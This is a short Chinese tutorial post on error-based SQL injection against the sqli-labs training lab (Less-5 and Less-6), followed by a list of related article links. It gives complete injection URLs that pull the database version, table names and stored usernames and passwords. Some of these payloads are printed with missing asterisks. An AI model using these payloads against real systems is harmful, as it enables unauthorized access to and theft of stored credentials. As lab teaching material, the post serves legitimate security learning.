13、报错注入(Get)

简介: 13、报错注入(Get)

环境sqli-labs

less 5

1、我们随便输入’,看到报错信息

0a2653c851af460fa595bd959398a8f1.png

可以判断,需要单引号闭合

2、构造查询获取数据库名称语句

http://192.168.1.120/sqli/Less-5/?id=1’ union select 1,2,3 from (select count(*),concat((select concat(version(),0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a)limit 0,1),floor (rand(0)2))x from information_schema.tables group by x)a --+

0eacb84100b54626af849e6b562bf92a.png

3、获取表名语句

http://192.168.1.120/sqli/Less-5/?id=1’ union select 1,2,3 from (select count(),concat((select concat(table_name,0x3a,0x3a)from information_schema.tables where table_schema=database() limit 0,1),floor (rand(0)2))x from information_schema.tables group by x)a --+

2d65d23f6d4748949b924e4057485923.png

4、获取用户信息

http://192.168.1.120/sqli/Less-5/?id=1’ union select 1,2,3 from (select count(),concat((select concat(username,0x3a,0x3a,password,0x3a,0x3a)from security.users limit 2,1),floor (rand(0)*2))x from information_schema.tables group by x)a --+

2e9b90b2ca334476abebe75bafe6eeaa.png

less 6

双引号闭合,和上面方法相同

禁止非法,后果自负

目录
相关文章
|
3月前
|
XML 安全 数据库
24、显错注入(updatexml和extractvalue)
24、显错注入(updatexml和extractvalue)
27 0
|
5月前
|
Java 开发者 Spring
Spring中获取Bean对象的三种注入方式和两种注入方法
Spring中获取Bean对象的三种注入方式和两种注入方法
|
3月前
|
数据库
报错注入
报错注入
12 1
|
3月前
|
SQL 关系型数据库 MySQL
注入工具 -- sqlmap(注入参数)
注入工具 -- sqlmap(注入参数)
44 0
|
12月前
|
存储 SQL 网络协议
利用DNSLog实现无回显注入
测试一些网站的时候,一些注入都是无回显的,我们可以写脚本来进行盲注,但有些网站会ban掉我们的ip,这样我们可以通过设置ip代理池解决, 但是盲注往往效率很低,所以产生了DNSlog注入
360 0
|
数据库
13、报错注入(Get)
13、报错注入(Get)
47 0
13、报错注入(Get)
|
XML Java 数据格式
SpringXML实现注入
SpringXML实现注入
SpringXML实现注入
|
Java Spring
构造方法注入和设值注入有什么区别?
构造方法注入和设值注入有什么区别?
构造方法注入和设值注入有什么区别?
|
Shell 数据安全/隐私保护 iOS开发
代码注入(11)
代码注入(11)
123 0
|
安全 网络安全
没注入 就旁注
在渗透测试中,当渗透网站不存在漏洞或找不到注入点时,可以采用旁注或C段思路进行渗透。
112 0
没注入 就旁注